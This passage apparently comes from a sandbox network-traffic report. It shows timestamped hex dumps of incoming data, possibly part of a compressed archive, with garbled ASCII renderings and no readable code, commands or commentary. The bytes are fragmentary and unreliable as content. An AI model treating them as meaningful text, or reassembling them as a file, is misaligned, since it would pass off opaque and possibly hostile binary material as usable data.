99 4a 5b 1b bf e5 0c b3 71 86 62 b1 4a 67 1c ba e0 ff d1 52 4e 60 58 7a e0 e8 be 6f da 81 69 18 12 60 84 f3 79 c9 60 a1 
bc 11 08 6c d7 d3 91 88 c8 5e cf d7 03 cb 3e 16 f8 4c b9 a4 85 39 41 94 90 31 03 48 e8 01 a0 cd 71 4d 13 32 12 ec 7e 1b 
c2 4e f1 65 0c 43 4d c6 a7 bb cd be 4c 37 a7 c5 
Data Ascii: .RwnW~|x54)N!?oI&6iUeJ8kV|uV'S]r=d\<} UsLsz{!/IMFn*-J[qbJgRN`Xzoi`y l̀^>L9A1HqM2~NeCML7

2021-11-25 16:27:48 UTC 555 IN Data Raw: e3 a6 9f b9 c6 d4 ec fc ad 75 f9 bf 74 28 ef b4 20 2d a9 55 d8 eb fd 0e e3 3f 6c 2a ea b2 d8 63 c7 20 b9 45 2d 
9a 0b c7 b4 dc 96 d5 3a a0 55 00 30 d3 f7 d0 99 02 79 1c 43 0a b5 f0 f1 99 ed 6a 70 9c 4d 23 e1 39 0e 35 99 4e 00 5e 84 
ca 2b 93 9c 31 5b 97 da ea 8d d0 5d f7 1a 49 f0 1a cc 87 f6 d7 45 f9 07 4f 90 9b d9 4b 9e 58 07 cd e5 9c 71 cf e4 5a 45 e5 
07 1e c3 16 a9 0b c9 b5 fb 9b 30 11 81 ed d8 b6 ae 63 51 20 5e d8 82 07 d6 26 d1 cb e6 b0 22 2c 6b 1e 05 af e9 b3 ca e6 
dc e9 3f 36 8a a0 2a f0 c1 7a 1c 80 08 c8 85 a4 a7 07 fc 7e 8d 19 d2 34 e6 2c 20 dd 2f b2 42 54 5e 62 9e fc 4c 64 ab bd 
1d 60 34 09 ba 87 fb 9b 84 17 25 ad 99 d5 45 93 69 83 c1 a1 9a 98 f4 24 d5 11 b1 7c 62 2e eb 74 03 a3 3c 3f 9d 03 a4 f8 
96 a6 a3 1b 6d 9d 8a c8 05 00 f0 b5 d5 ed 76 40 c6 
Data Ascii: ut( -U?l*c E-:U0yCjpM#95N^+1[]IEOKXqZE0cQ ^&",k?6*z~4, /BT^bLd`4%Ei$|b.t<?mv@

2021-11-25 16:27:48 UTC 556 IN Data Raw: 69 78 13 4f be 1c 6b 50 01 96 a4 e1 32 4c 2e a3 9b d9 c5 74 32 19 24 f2 1a e4 cb 1c 59 c3 20 99 60 03 58 45 
34 a6 3d 1d 2b 51 f5 6d 92 92 5e dc 9b 25 83 c9 6c 32 92 b6 a1 22 9a 92 7c 3f 8a 7a 17 e1 e5 e7 59 74 1b c6 37 b3 7e 1c 
dd f4 8e 15 a9 ce d3 bb 15 f5 07 a3 db 59 2f 1a 5f 8e e2 a1 72 5b 8a 03 9c 6e 6d d7 51 d8 8b 46 c7 3a 54 74 aa 5b c7 70 
34 b8 1d 4e 24 f3 c8 4d 4b b7 8a 51 f4 f3 34 1e 45 92 69 54 fd 52 b7 96 c9 97 61 f4 8e bb e5 53 06 49 d5 6d 3c 1a 0d 46 
71 72 d5 c6 ee 6c 3c bd 20 1b e1 27 29 8c 15 e5 50 52 98 44 93 fb c1 e8 33 e2 a8 df 8f 46 14 8e f7 71 3f 96 ec ad a0 37 
9d aa ba 36 a8 fa e6 a3 53 c9 38 bc 8d 94 4b 51 9d f2 74 6a b9 27 9f cd 86 97 92 69 e4 72 26 eb 18 1c 4b a9 6e ab 24 b1 
e1 28 be 0b 2f bf cc 7a e1 24 9c 4d c7 e1 55 a4 48 27 e9 
Data Ascii: ixOkP2L.t2$Y `XE4=+Qm^%l2"|?zYt7~Y/_r[nmQF:Tt[p4N$MKQ4EiTRaSIm<Fqrl< ')PRD3Fq?76S8KQtj'i
r&Kn$(/z$MUH'

2021-11-25 16:27:48 UTC 557 IN Data Raw: 2a 9c 96 2c 53 97 db 07 26 72 43 27 b3 70 e4 58 17 0a 89 8a 88 78 71 59 b3 60 95 92 46 14 5e 6b 09 8c 08 6d 
79 16 90 0a 45 89 60 b1 3b f4 24 89 65 b1 42 2a 8d cf 57 23 9e d5 e3 cd 8a 80 c4 1d e5 16 b6 fb 8e ea a4 f1 36 ea 5d ae 
91 58 56 f5 57 1f c7 ad 59 11 04 ec cd 38 29 bc f2 c1 fa 87 48 77 be ae a9 14 ba 28 7c e1 4c a5 3c 26 18 ed 0a d6 f8 6a bd
5c 6d d7 37 4a 5f d3 ad 69 79 01 3a a8 9c 29 ac 0f c6 3a e9 58 d7 e0 3d 39 32 89 a5 d6 a9 d9 db 4a 3e 9e 88 8d 0f b1 b0 
29 67 05 a8 b9 12 aa 22 c7 6e 7b 49 4e 54 6e d9 9e a3 33 6e 04 bd c2 ba 65 5a bf fb c5 64 8f de 5e 5f fd b1 5e ce 6f 6e 
b1 56 20 8d 5d ac 3a 8f c6 93 ee 68 32 3b ed 0f 5e 3c 42 2a 52 a0 8d 4b 74 44 f5 71 e9 5a 06 9d 93 ab ab 37 ef d7 9d e7 
f0 94 47 e5 a0 57 53 f9 ad a1 39 3e ef 0e 1e fd 79 f3 
Data Ascii: *,S&rC'pXxqY`F^kmyE`;$eB*W#6]XVWY8)Hw(|L<&j\m7J_iy:):X=92J>)g"n{INTn3neZd^_^onV ]:h2;^<B
*RKtDqZ7GWS9>y

2021-11-25 16:27:48 UTC 559 IN Data Raw: a2 e3 e1 aa a4 f7 24 9b 04 62 63 20 90 a4 3f b8 a2 98 54 6b b1 aa e0 e7 d7 df a9 25 a7 e9 33 1b f8 be f9 07 d9
4f dc 6b c6 d2 92 58 d0 28 7f 3b 14 c6 da 8d ab 72 94 44 de e5 38 54 9b 8c 8e 78 81 04 7f d9 ca 66 ea 1f 1f 18 7e 52 a3 
ae 8f 7e de 6e 65 54 12 4b 84 65 a9 57 99 e3 fa 73 02 4f c3 f6 09 8c 73 65 2c 2b e7 62 98 04 2c b1 81 43 9c a6 21 7c d2 
60 d0 58 3c c4 51 3e fb dd 43 c6 f3 e5 24 42 83 22 86 6e b4 08 9d a8 06 2e 16 a3 be 01 76 c9 4d 18 62 b2 db 24 90 63 81 
21 fb 64 c2 f2 0a eb 12 4d 31 90 03 89 b1 2c c5 08 88 9b 54 a5 f6 3f b8 8c 54 52 9e be d1 2d 1d e6 7c 2c 95 70 b6 9a 8b 
33 e7 d0 c0 c4 58 79 45 14 b3 b5 64 c6 e7 7f 83 9f c4 a5 8b a4 b3 f4 15 ee 9a da 5d 54 0b 64 a9 f7 44 97 a4 33 e1 08 53 
f7 3a ec af f3 84 f7 38 ec e5 1c ed 7b 95 59 d6 64 a7 
Data Ascii: $bc ?Tk%3OkX(;rD8Txf~R~neTKeWsOse,+b,C!|`X<Q>C$B"n.vMb$c!dM1,T?TR-|,p3XyEd]TdD3S:8{Yd

2021-11-25 16:27:48 UTC 560 IN Data Raw: 09 f5 a7 19 ee 97 b5 f2 17 a6 ba 93 a3 8c d5 00 4b 6c 61 f9 31 d9 bd ba 38 df 54 63 6e 51 73 3c 6e b4 fe d9 43 
cc 54 3e 3f 6f 86 b9 b0 de 06 c0 ce 85 04 c0 08 11 1e 70 e3 9e 95 c4 c4 62 69 71 6c 9e 14 d5 b0 dc eb e7 16 d2 00 ae 08 
52 39 e5 ad 16 8c fe 6d a8 38 a4 5f d8 87 61 f7 94 2b 5a ee 35 7f 9a bb 84 95 58 27 ce f7 91 6b 4b 71 5f bd af 00 b9 81 d3 
3a 40 9a 00 6e ca 07 c1 2b 3b cd a4 71 36 48 83 f9 25 92 69 f2 ec a7 9b bd d4 17 58 b8 66 18 96 0d 9d 0f cb 0d 46 e0 22 
4e d2 52 a4 73 68 78 38 8a 0e e9 25 1e 2a 3b 65 75 0f e6 c1 93 03 5f 7b 83 ee 27 8c 5c 61 51 a3 aa 1d 53 ec 48 42 46 d2 
a5 6d 9d c3 49 80 01 76 8e a8 fa bb 4c 62 35 76 c9 08 de c7 c1 4e 5c b7 e0 e6 f4 1a 98 dd 0c 2f e4 d2 b8 64 60 da 6e 39 
4d 46 00 b1 dd 18 b2 f8 db 86 a5 be b6 17 90 2f f6 
Data Ascii: Kla18TcnQs<nCT>?opbiqlR9m8_a+Z5X'kKq_:@n+;q6H%iXfF"NRshx8%*;eu_{'\aQSHBFmIvLb5vN\/d`n9MF/

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 561 IN Data Raw: 99 cd ce 8f 88 68 28 2e a7 34 86 bb ab b8 37 69 90 65 e7 a3 fe 45 f7 e8 d5 ac d7 9d 74 67 d3 71 f7 a4 64 cc 
89 bc ec 81 90 19 57 49 14 ef 5c 38 4c c4 af 3f 1d 9e 10 f7 c8 54 77 99 c5 93 e9 f9 ec a2 3f ee 3f eb 6f 94 2c 7b a4 cc 7b 
e8 28 b5 e1 f1 e4 65 77 94 d7 7c 0e 61 11 2a d3 c1 8b c1 f0 25 59 cb 15 ec c9 da 8b 7e af cc 7b 7b 26 ad c8 50 18 9f 0d 
87 93 e7 83 72 4c a4 ca bd e5 91 10 79 55 d2 60 c5 bc c1 67 b3 6e 7c 32 3b 06 87 0c da 3b 19 42 ac 19 13 f7 c5 dd 38 6a 
56 82 a4 c0 db f4 ca 41 9f 7a 2c ee f2 59 ba 6e d2 3f 2b 81 61 62 78 cc 10 50 b3 f0 6c 13 cd 06 e5 d1 24 72 4d e4 c3 bc 82
12 2d fe e2 21 eb b8 dc 3d 3a 2a cf 27 dd 67 a7 c4 76 b8 69 ae 3c 9d 93 e1 90 70 c2 65 a1 79 0a e7 e5 e8 18 76 45 b6 c3 
bc 30 b2 85 c8 70 48 22 18 53 64 c8 13 98 0e fa 00 
Data Ascii: h(.47ieEtgqdWI\8L?Tw??o,{{(ew|a*%Y~{{&PrLyU`gn|2;;B8jVAz,Yn?+abxPl$rM-!=:*'gvi<peyvE0pH"Sd

2021-11-25 16:27:48 UTC 563 IN Data Raw: 53 b0 bb f7 1f 8f 36 55 b5 2d df 9d 9e 96 bb ed 36 2f aa 93 b5 88 cf c9 32 bf 3f 5d 3e 47 f2 34 ce ca 07 56 9c ea 
9e a8 b2 8f 47 4a 15 17 6b 56 c1 7e 71 9b c6 d9 a7 8f 47 ad 63 3e 89 b2 4c e3 b2 c4 8f 05 fb d7 2e 29 d8 ea 6d b3 22 18 
66 eb b7 e5 26 7f c0 8f 7f a9 f2 ed 49 b9 bb bb 4b 96 09 36 37 60 6c 75 1b 2f b9 2b 11 02 e4 b5 e5 58 ba 89 39 1d 43 57 
1d 5b 23 09 e6 af 56 09 4f ec 38 55 b0 de 7b 38 29 df fd e9 53 94 06 59 fb a3 53 d0 9b 53 90 ac 52 7a 0a fb b1 ff 1f 86 c8 
f2 34 43 f5 2c d5 75 75 d3 d3 35 8d 56 7f 9c 2d 59 da 8c f6 4c db 51 51 7e a8 59 c7 55 3d c3 3c 1c 3d 3a f5 eb a1 ba 87 
81 aa 07 3c b2 6c 5d c7 50 02 90 5f 26 88 4d d8 0b 11 9c 68 76 ac 6c d3 5d 11 a7 c7 40 cc bb 92 55 ef b4 f7 aa f2 e5 22 
ce d6 f9 ae 7a 7a af 3d 7f 56 1e 92 6a a3 7c 19 
Data Ascii: S6U-6/2?]>G4VGJkV~qGc>L.)m"f&IK67`lu/+X9CW[#VO8U{8)SYSSRz4C,uu5V-YLQQ~YU=<=:<l]P_&Mhvl]@
U"zz=Vj|

2021-11-25 16:27:48 UTC 564 IN Data Raw: 8a 9e f9 39 b5 e2 a6 49 ab 51 15 f9 f1 53 e3 0f 1e 3d 17 42 c0 42 e9 83 7a 89 3b 9e 78 7b e4 1a ef 56 49 ce 93 
90 57 7f 73 00 a8 38 b1 ea 84 e3 d7 0b 14 5b e8 30 55 c3 84 64 01 20 eb fc 13 81 62 b1 d6 26 39 4e e7 d3 4b 05 9a a7 5e 
e7 b2 9e b6 5d 25 84 07 a4 01 2a 1e d2 00 2a c8 23 22 98 eb 2d cc 7e 0b 3c 16 2c fd 1d 2a 44 34 22 2b b6 fa be 76 62 a3 
65 d2 d0 a7 61 cb ae 6a a9 00 cf ee 13 c7 21 0e 86 b5 99 03 54 44 80 38 93 60 0f ba 67 91 5d 8c 97 58 6d dd fc cc aa 1d 
24 41 4d 05 d0 4b 10 61 96 86 08 03 54 41 09 26 55 94 79 de 8e 45 4e a1 27 07 86 bb ae 89 43 d6 c8 0e 5f a3 0d 7e 18 
b5 62 04 24 08 87 b6 8a 94 83 a2 85 58 f3 10 30 24 0d 71 38 07 16 20 45 1a 64 2f f9 a1 ae f9 3d 48 86 f3 bc 7d 14 59 d8 
80 cf a4 61 fa 09 67 fa c7 76 02 d7 e6 f7 24 c0 42 97 df 
Data Ascii: 9IQS=BBz;x{VIWs8[0Ud b&9NK^]%**#"-~<,*D4"+vbeaj!TD8`g]Xm$AMKaTA&UyEN'C_~b$X0$q8 Ed/=H}Ya
gv$B

2021-11-25 16:27:48 UTC 565 IN Data Raw: b3 f0 2c 14 49 d6 79 a4 92 27 e0 d4 db 78 10 5d fb d3 ee cc 97 31 15 f1 32 1f 7d 18 8d af 89 ad ac 99 21 b6 57 
61 3f e8 46 7b 89 08 e8 f0 30 1b 8e c7 d1 c5 28 98 91 a8 ca de 8c 20 4e 6e 02 4a 56 92 87 70 c2 6e 76 be 18 00 90 91 bd 
d1 18 5c 33 23 f0 25 bb e0 6e 2d 11 29 a0 4d 3f 18 85 14 b1 64 97 f0 5f db 45 e1 30 c0 82 49 e1 49 ae 61 5a c3 a1 60 b3 
51 d0 8b 9a 55 93 f8 48 de 00 d9 33 7e 46 c8 9a 97 fd 5e 2f 98 44 fe d9 25 a9 1d d9 45 55 b7 9f f3 f1 98 ac 44 a6 0f bb 3d 
4c 82 e9 00 bb 22 db 91 bc 56 f2 8a 93 f1 98 30 98 44 1e 77 3b 98 8f 42 48 85 cb cb f0 3c 94 c4 44 f6 c4 40 e6 ab 1f ce 7a 
fe b4 cf 4f 6a 10 4e 87 be ac 14 65 8f 88 64 be 06 e1 28 10 f0 b2 40 65 8f 24 e4 23 bb 3d 91 39 12 3e 3a 48 5e d2 35 ca 
5c 8c 7c 2a bf e8 3b 04 32 cb f1 07 0a f1 f4 59 
Data Ascii: ,Iy'x]12}!Wa?F{0( NnJVpnv\3#%n-)M?d_E0IIaZ`QUH3~F^/D%EUD=L"V0Dw;BH<D@zOjNed(@e$#=9>:H^5\
|*;2Y

2021-11-25 16:27:48 UTC 566 IN Data Raw: 1a d2 69 cb 6a c8 af ee b2 24 ff e7 97 b3 4e 31 3d 44 5b a3 e0 2a fc 58 b2 5f 9a 14 05 f5 7d 6b 11 04 f3 ed f7 
d5 43 f1 2b 7e fc 53 5d ec 2f aa e6 fe 3e 5d 53 5d 8e 18 db dc 25 6b 52 c5 5d 80 cc 77 3c c7 b4 f1 4c cf 32 75 cf 35 a4 64 
1b c0 3c 4a ec b4 a8 b4 64 03 35 45 9e 64 ac 7a f7 5f 47 52 e9 68 e3 df 45 c2 6c 23 a1 b0 54 19 89 63 ff ff 3f ba c9 09 0c 
4b 0f 1c dd f7 4d 3b 30 0d 43 c2 88 41 92 af 81 ac 65 bb 3e b0 5d 4f 47 3d a2 8a 3d 5f 0f 2c fb 74 fd 78 7e 39 1e 88 c5 66 
80 a5 7a 00 fc 72 5c d3 c4 62 09 6d bf 4d e1 9f 78 10 c3 41 8b f9 f9 3e 6b ca 24 3b 2f ee ef 2b 56 bf 33 b4 1f f4 6f 1f 92 7c 
5b 34 f5 d3 0f 46 f7 91 80 4a fb 36 99 5d 85 e3 f8 1f d1 ec e9 e9 07 b3 ef 27 ed ab 56 d4 65 a2 ed 11 2d 04 f7 a9 a8 1f 58 f
9 ca e2 3f 77 2b 2b ad 6d 1d d5 d3 
Data Ascii: ij$N1=D[*X_}kC+~S]/>]S]%kR]w<L2u5d<Jd5Edz_GRhEl#Tc?KM;0CAe>]OG==_,tx~9fzr\bmMxA>k$;/+V3o|
[4FJ6]'Ve-X?w++m

2021-11-25 16:27:48 UTC 568 IN Data Raw: 42 ff 96 29 d3 08 d8 d1 f6 28 82 6c ed ed 87 96 2c 3a 16 98 12 1e 88 61 da 05 9f 00 fb 90 47 e3 01 32 48 1a 56 
77 69 85 3e 02 f2 af 7d 4a bf 1f a5 42 99 6d eb 3a 4c 01 79 83 dd 1e 98 9f 44 56 3b 34 16 a5 af d5 e9 be cd 82 e7 89 88 
b2 11 19 04 ff f1 cc 69 91 d9 b1 a1 3d f0 41 a8 1c 80 10 b8 8a a4 9a f7 dc a3 83 0c 28 a2 b2 d9 a5 75 c7 5e b4 a4 d9 a4 
c5 31 25 b9 68 75 bb 98 49 6d 70 3f f4 12 93 3e f5 76 91 d6 ee 43 d6 a2 11 2c 67 d7 9c ab dc 11 67 69 a9 69 67 33 e8 1c 
98 15 c0 07 cc 0a e4 32 90 c6 90 48 18 f6 92 b1 b0 fd 0b 56 f4 b6 64 dc 3f 68 ae 45 1b 35 17 03 ad 81 29 1a 4e f1 75 47 
07 ec f7 a6 88 f6 76 74 d3 4a 79 00 70 78 90 ba 24 36 69 06 8e b4 cd 9b e2 b1 63 57 54 74 78 2e 7a 25 ed 12 91 e7 9c 51 
28 0a 88 fd 3a 06 22 82 76 80 c6 67 4b 09 77 93 64 49 
Data Ascii: B)(l,:aG2HVwi>}JBm:LyDV;4i=A(u^1%huImp?>vC,ggiig32HVd?hE5)NuGvtJypx$6icWTtx.z%Q(:"vgKwdI

2021-11-25 16:27:48 UTC 569 IN Data Raw: 54 27 f9 fd 8a 46 93 d9 cd 6a 18 cd 07 b3 78 aa dc 96 e2 68 a8 5f db 87 28 1c 46 b3 53 1d 2a fa d5 af 63 3a 9b 
dc 4c 17 92 7b e4 49 a7 5f c5 2c fa 69 19 cf 22 c9 35 aa 19 ab 5f cb e2 f3 34 7a 25 dc f2 d1 84 a4 ea 26 9e cd 26 b3 78 7c 
d5 e5 ee 6a be 7c 4f 3e c2 bf a4 34 56 34 48 49 e1 38 5a 7c 9a cc 3e 22 8f 46 a3 68 46 e9 f8 29 1e c5 92 bf 15 cc a6 57 
55 df 06 55 2f 98 f4 2a 99 87 37 91 d2 14 d5 71 50 af 96 4f 14 b3 d5 74 20 b9 46 ee 6a b2 8e c9 a9 94 ea aa 4c 12 9b ce 
e2 db 70 f0 79 35 0c 17 e1 6a 39 0f af 22 45 39 49 b7 59 92 9a 39 51 0c 35 b8 a8 1a 88 5a fe 7a 72 25 c1 a3 62 be 50 08 
2f 96 d3 d5 6d 3c 8f df c7 3c c9 7a 43 aa 78 af 44 d6 36 19 2d 3e 85 b3 fe cc 57 f5 35 49 cb 72 fc 71 3c f9 24 c9 aa 26 38 
49 f6 36 1e 46 fd 68 af 60 11 3d 1a e6 37 93 c9 
Data Ascii: T'Fjxh_(FS*c:L{I_,i"5_4z%&&x|j|O>4V4HI8Z|>"FhF)WUU/*7qPOt FjLpy5j9"E9IY9Q5Zzr%bP/m<<zCxD6-
>W5Irq<$&8I6Fh`=7

2021-11-25 16:27:48 UTC 570 IN Data Raw: fd ae 5d 4b 35 3c c7 52 11 61 5d d5 55 c3 25 6b bb 66 99 b2 ae e6 c2 51 2a e9 8a 29 17 8b 6d ba e2 f7 08 7a 
ac bc 19 47 fe 28 9a de 84 fd eb 37 5b b6 44 70 8a 8c 67 ca 65 9a ce 13 ae 5c 61 dc 9b a0 df a9 7e ff d4 8c 1e 0f fd fe 9b 
9f cb 1f ca 8f 27 58 ca 26 61 f7 7c 91 26 33 be cd ca 35 34 66 e5 3f f7 e9 3a e7 eb 5c 2c e8 8d 56 2e bd 31 26 3f eb e5 cf 
cf cb 22 03 8c 83 01 52 0f e6 c9 d3 53 4b 74 a6 9b c5 71 80 7e 39 67 ff f8 56 70 55 55 7f 39 cf 36 6c dd fc c3 94 c5 96 3f 
7c fc 76 b2 c8 f3 4d f6 e1 fc 3c 2b 36 9b 74 9b 9f cd cb d8 9c dd a7 ab f3 fb 7d 24 cf d9 3a fb 9d 6f cf 75 af ac cf 6f 27 4a 
ce b6 73 9e c3 7e 7a 87 bc 58 7e 3b 69 1c 8b 49 94 fb 84 65 19 7e dc f2 7f 15 f1 96 cf de d7 2b 82 e1 7a fe 3e 5b a4 bf e3 
c7 9f f2 74 73 96 15 0f 0f f1 7d 8c cd 
Data Ascii: ]K5<Ra]U%kfQ*)mzG(7[Dpge\a~'X&a|&354f?:\,V.1&?"RSKtq~9gVpUU96l?|vM<+6t}$:ouo'Js~zX~;iIe~+z>[ts}

2021-11-25 16:27:48 UTC 572 IN Data Raw: 53 8f 35 c4 1d 56 d0 ac 44 b2 14 cb 43 38 b8 00 59 2e 0a a2 1e b2 2e 04 8a 00 cd ae 0b 24 38 f4 41 ce 1b ac 
2e 93 88 8b a4 c7 54 69 5e c1 57 a2 b0 bb f8 b4 2e 65 a1 e6 b0 1c fe a2 dd c0 ef 4b 60 0b a6 7e 6e 31 ce fe 9b 56 e2 95 
5e a1 d1 a1 92 98 bd de 0a fc 45 f5 8f 24 2e 00 e3 d0 a5 69 5e 75 01 96 6e d8 8d 10 b5 a0 7f 00 46 ba eb a0 85 04 98 58 
1a 49 c5 11 5b 14 a0 98 5d 3d de b1 2c d1 0a 5a 1e 84 0b c8 92 4a 91 71 51 6c f9 a6 c6 63 56 eb 10 e8 af ab 4e ed 01 22 
04 b3 a2 5b b5 c1 d9 20 77 92 23 fe 76 27 8a f4 f1 b0 1f 54 d2 35 2a 61 05 6c fc 12 77 e3 f7 4d 4b 3f af d5 8a 65 9a aa 8a 
95 41 23 61 17 0e b4 15 91 82 bd 38 ab 32 e6 e1 be fa bb 89 5f 60 7c 83 b9 35 6b 7f aa fd c2 b3 e7 42 b4 58 40 15 68 04 
e2 f6 10 ae f8 4b da 86 88 8c ab 7c cd 4a c6 86 95 00 
Data Ascii: S5VDC8Y..$8A.Ti^W.eK`~n1V^E$.i^unFXI[]=,ZJqQlcVN"[ w#v'T5*alwMK?eA#a82_`|5kBX@hK|J

Timestamp
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2021-11-25 16:27:48 UTC 573 IN Data Raw: 83 0c ab 88 87 0b bf 7f 11 dc 4c 3f 4f a2 68 d0 a7 6b a0 cf 29 a8 87 41 3f c2 06 b0 8a 60 2c f6 74 ec 44 d6 e2 
10 27 9d b0 33 ed 0f a2 69 34 22 db 90 69 3a 62 df 0d 82 ce 67 ff e2 7a 1a f4 fc f0 66 da 0d 83 9b ce b1 23 d9 35 71 bb 
a3 ee 60 d4 9b 76 82 f1 c5 28 1c 4a b7 25 b9 ec 68 f7 76 15 f8 9d 60 74 ec 43 a6 90 da 7d 0c 47 83 de 30 22 e1 a1 dd 41 
bb 8b 51 f0 db 24 1c 05 24 34 b2 be a4 dd 4b f4 75 18 bc 72 dc b4 15 27 ae 7a e1 68 34 18 85 fd cb 26 77 a7 e3 c9 67 11 
23 7c 45 d2 58 c2 85 c4 61 3f 88 be 0c 46 d7 c8 a3 6e 37 18 89 74 fc 12 76 43 12 6f 89 6e 69 75 d5 b6 41 d9 cb 0b ad 4e 
c6 7e 2f 90 2e 45 76 0f d2 ea e5 8b 38 b3 e9 f0 82 84 86 b2 18 f5 31 38 b6 92 3d 82 21 66 c3 51 78 eb 5f 7c 9d 76 fc c8 9f 
4e c6 fe 65 20 29 27 f2 e4 84 b8 19 0b 49 21 07 17 
Data Ascii: L?Ohk)A?`,tD'3i4"i:bgzf#5q`v(J%hv`tC}G0"AQ$$4Kur'zh4&wg#|EXa?Fn7tvConiuAN~/.Ev818=!fQx_|vNe )'I!

2021-11-25 16:27:48 UTC 574 IN Data Raw: b0 28 5a 1d e8 75 17 c2 7a fc 24 85 ff dd 4f a2 85 e0 8a 15 56 4a 0e 53 31 a9 c9 49 04 e6 b8 46 53 29 24 96 
b0 12 81 45 88 34 c0 2f ab d5 e8 63 ff 5b f3 4d 62 3e f9 ff df 22 3e 85 bd 25 ca d6 ea 84 41 0a b4 ec 44 df 32 a3 b7 29 cf 
96 19 c7 81 03 9a 39 a6 6a 72 9c 59 61 9d b6 fb b2 d9 8f 2f 64 51 d8 c2 a8 5a 2b 94 53 d2 14 e4 78 87 b9 86 8d d4 32 50 
28 61 54 a1 ad 53 da 70 43 ba 08 85 b4 d6 9b 57 b4 bf 20 94 a0 45 81 b0 66 d2 19 cd 40 4f 05 13 4c 5a 62 63 a0 ef 7e 0c 
b2 d8 60 78 a9 51 60 2b 8a 55 2d d8 fe e0 fd dd ed 6f ab eb e5 fd 83 97 cc 0a dd 7f 43 98 f6 4d 50 8f 27 d3 59 7f 32 5b 9c 
57 a3 97 4f 52 85 42 0e 2f f8 1d d3 3b bb bd 7d f7 71 d5 7b 01 d3 3d 29 47 c3 64 a8 40 6a 1f 2f d2 db 72 3b e5 f4 b2 3f 7a 
f2 e7 86 44 f3 ef 11 30 ee f3 c7 e5 f5 ea fd ed 
Data Ascii: (Zuz$OVJS1IFS)$E4/c[Mb>">%AD2)9jrYa/dQZ+Sx2P(aTSpCW Ef@OLZbc~`xQ`+U-oCMP'Y2[WORB/;}q{=)G
d@j/r;?zD0

2021-11-25 16:27:48 UTC 575 IN Data Raw: f5 ad 56 9c b0 38 5a 1c 2a b1 b5 36 b9 97 e0 62 95 0c d5 13 7a 78 ae ca d3 3a 18 0c c9 0f 70 4c 44 9d 37 ef 
ab 76 38 10 24 59 89 78 44 78 ac d8 98 56 c8 36 62 30 81 38 72 80 e7 89 ab c4 1e 46 2b ae ac 84 4c 1e e0 3d 64 cf 00 
b8 e4 8e 7a de 9a ef 19 55 8c 44 f8 cd dc 47 3e a7 de 4e 0c 5d 24 f6 26 39 bb 0f 05 70 c5 e1 46 ab 65 0d 5e 99 d0 12 f2 
97 3c 80 c5 f1 24 32 0f 42 2e ad 2b f1 b3 08 48 4b ad 94 ca 58 c8 4c 61 c9 96 2c 08 b5 21 9f e6 5f 2b c3 14 b2 f8 a9 b0 e3 
cf b7 21 28 4f b0 a3 6e 1d 0c d4 a2 0d c7 82 db a7 64 1d 2e e3 ca 3d 76 0e c1 dd ef 92 5c 50 4a 0d 59 ae 75 90 89 35 fd 
0b 6d e9 04 3d 72 99 91 1b d8 2b 84 fc 6f 16 f8 eb 1a 1c 24 a2 4e 48 0d 39 b7 76 8c da 7b 9c fd ac bb 60 51 e5 25 9b 96 
7c eb ee 37 26 c3 fa 99 f8 47 cc f5 75 6b e7 07 f2 d0 81 
Data Ascii: V8Z*6bzx:pLD7v8$YxDxV6b08rF+L=dzUDG>N]$&9pFe^<$2B.+HKXLa,!_+!(Ond.=v\PJYu5m=r+o$NH9v{`Q%
|7&Guk

2021-11-25 16:27:48 UTC 577 IN Data Raw: cf 67 6d 11 d6 66 bd e7 5b 7d c3 ba 63 d6 65 cd 59 b0 8f ca 41 df 07 d1 ff 3e 55 a1 94 b7 7b 16 85 da 50 0b ca 
2b 01 f8 1b 66 4c 7d 1a 0e fe 21 81 74 f4 a0 88 46 9e 81 4a 03 3c 61 53 17 aa 34 07 b3 50 5c 41 5e 41 9d 17 5c 57 63 54 
47 25 c8 61 b9 77 62 1f 09 2e 8d 69 84 63 c8 87 2e 9c a7 0b 3c 02 ef 1f 2f a1 88 fa 4a 41 dc d7 58 f4 39 67 12 8a 04 c1 46
ac 80 1c 4f f2 42 00 ee 57 bc 30 54 ca fb 43 6a 57 54 b9 6a 7b 3c d4 dd 44 b8 c9 a2 b8 af 72 79 fb 09 77 bd ed ae 47 e1 
e9 a6 61 76 d1 5c be c1 f9 3b 8e 84 b8 90 8b cf ab b5 9d d8 e8 5c 9d ee 64 48 40 b2 1b 7d f0 1c 3f 05 41 99 c2 08 25 0a 
80 a5 5a 49 80 c5 f4 f1 e8 ff aa f8 70 78 15 1d 87 d9 5d 95 aa 74 05 cd ce ea e8 52 77 9d 38 6c 51 08 69 b5 a0 cb 4b 18 
87 44 d5 bc ed fe c0 32 5b d7 17 24 90 ad 0b be cc 
Data Ascii: gmf[}ceYA>U{P+fL}!tFJ<aS4P\A^A\WcTG%awb.ic.</JAX9gFOBW0TCjWTj{<DrywGav\;\dH@}?A%ZIpx]tRw
8lQiKD2[$

2021-11-25 16:27:48 UTC 578 IN Data Raw: a8 b7 80 50 e4 7c fc da e2 57 89 73 c3 79 3a a7 93 b2 fc 47 1a cc a8 37 ef e5 89 50 ce 99 78 33 ca 16 02 13 
90 55 ba 91 f4 9c 72 9e c4 df ca c9 cb 14 10 10 85 ea 3c 89 4c 84 a0 1e 0c d9 42 84 88 10 d4 d1 bb 3c 05 0f 4d d2 b0 9b 
be 68 6d 0b 8d 19 e0 cd 54 65 a9 b3 87 79 22 f3 d1 ab fe 6c f0 82 52 32 ea c4 0e 45 e8 f5 78 0e 19 fa 68 fa 8a 30 1f e2 85 
29 88 c4 8b fe e8 0c a0 cb a2 1a f5 c1 6c ae 92 15 50 cd 4e 72 f8 15 58 5b 0a 9d 88 a7 da 88 d1 21 03 48 53 c5 f4 cc 20 
31 7a 56 cd ce cb 45 62 18 c4 db 9c d0 60 9f 16 42 ca 12 00 c3 a0 7f 59 7b b1 64 07 c4 e1 ef 35 15 80 a8 09 bb 88 a6 73 
7b ff 65 7f 3e 4d 06 50 6f 87 59 0f 38 ef a7 ee 8b 78 9b 4f 7b ff b4 2c 93 f0 4c 55 83 db fb e7 23 6a 0b 54 b7 ac 1d 71 35 
3e 9f 5f 24 23 a8 97 03 3e 3e fe 07 50 4b 07 08 44 
Data Ascii: P|Wsy:G7Px3Ur<LB<MhmTey"lR2Exh0)lPNrX[!HS 1zVEb`BY{d5s{e>MPoY8xO{,LU#jTq5>_$#>>PKD

2021-11-25 16:27:48 UTC 579 IN Data Raw: 0d 15 36 e4 e9 9e 20 dc b8 88 05 bb 34 73 5e b3 25 2b f1 d7 82 f1 c0 e8 b6 f0 68 78 48 1b c7 b5 e0 51 43 84 
